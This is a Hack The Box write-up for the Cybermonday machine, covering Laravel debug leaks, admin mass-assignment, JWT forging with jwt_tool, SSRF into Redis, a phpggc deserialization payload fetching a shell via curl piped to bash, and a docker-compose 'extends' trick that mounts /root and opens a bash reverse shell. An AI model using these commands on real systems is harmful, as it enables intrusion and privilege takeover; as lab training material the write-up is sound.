☠️Cybermonday - HTB
https://app.hackthebox.com/competitive/2/overview
Container Foothold
register in the website then login

any duplicated input will trigger the laravel debugger ,so we try to change the username to admin and try to update it

that will expose alot of information ,files path env file ..etc
Nginx off by slash fail
getting the .git folder and dump it

you will get a backup files for the cybermonday web app source code files and we find below code
Schema::create('users', function (Blueprint $table) {
$table->id();
$table->string('username')->unique();
$table->string('email')->unique();
$table->string('password');
$table->boolean('isAdmin')->default(0);
$table->rememberToken();
$table->timestamps();
so we know isAdmin is a parameter we can use ,lets set isAdmin value to 1

now you are admin


we also found a new subdomain after fuzzing the root we find
http://webhooks-api-beta.cybermonday.htb.cybermonday.htb/jwks.json


lets create a user /auth/register

login with the created user /auth/login

To create a webhook service ,we need admin role ,and current token has user role only
now we take the token and use jwks.json to extract the public key first
python3 jwt_tool.py "$TOKEN" -jw "jwks.json" -V

then we change the value of role to admin using the extracted pem key
python3 jwt_tool.py "$TOKEN" -I -pc role -pv "admin" -X k -pk kid_0_1692632478.pem -v

Now we get into the other part ,check /webhooks endpoint

lets create another service 'sendRequest'


there is no filter or restriction on user input for the url parameter and we can inject things on method parameter, also we they do have running redis
i did some local redis testing to see how it will react ,and my conclusion was that ,if im able to communicate with redis and send commands ,i can set the laravel_session for a user on Cybermonday.htb site ,since its laravel
so first lets try to decrypt the user session

after reading env file ,we got APP_KEY ,now we move on ,to decrypt the session token
as per HERE you need app_key to decrypt X-XSRF-TOKEN value to be able to occur unserialize call
from the previous decrypt part code from hacktricks we modify few things


i run redis locally ,and tried to reach it out through the webhook sendRequest to find out how im gonna inject and how its gonna work on the remote redis db

now lets set laravel_session value that we found earlier in the env file

let's get the user cybermonday_session and note its not working for XSRF_TOKEN token

{"url":"http://redis:6379/","method":"set laravel_session:zKCiisV7HHrD3q1k7b15mJk9uia8lPlkfjraNWaq 'sam'\n"}

you can download the phpgcc gadget repo ,use this command to remove any json escapes to use it with burp
./phpggc Laravel/RCE10 system 'curl 10.10.14.3/shell|bash'| sed -e 's/\\/\\\\/g' -e 's/"/\\"/g'

Note: Refereshing the user page ,will trigger the unserialized error.
User - Path
Network Scan

now we uploaded nmap ,and also we need to upload chisel to forward ports ,we will be interested in port 5000 ,docker registery ,lets try to pull that

lets now try to pull it locally


docker run -d -t --name sam 127.0.0.1:5000/cybermonday_api
docker exec -it sam sh




here we found a password ,also from the first container reverse shell ,we find a username in /mnt/.ssh/authorized_keys


Root

#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user():
return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
To bypass the check ,we have to create two yamls configuration files ,first one is legit ,and second one is malicious ,we connect both of them using extend ,and in malicious yaml we use volumes to mount /root dir ,and command ,to execute a reverseshell
docker-compse.yml
version: "2"
services:
webapp:
image: 'cybermonday_api'
extends:
file: '/home/john/malicious-compose.yml'
service: webapp
ports:
- '8000:8000'
malicious-compose.yml
version: "2"
services:
webapp:
command: "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'"
image: cybermonday_apia
ports:
- "8000:8000"
volumes:
- "/root:/tmp"
confirm if its working

run

Last updated